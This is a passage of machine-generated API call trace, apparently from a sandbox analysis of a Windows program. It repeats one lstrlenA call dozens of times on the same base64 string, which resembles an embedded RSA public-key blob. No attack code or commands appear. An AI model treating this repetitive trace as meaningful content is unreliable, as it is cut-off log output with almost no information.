(lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA 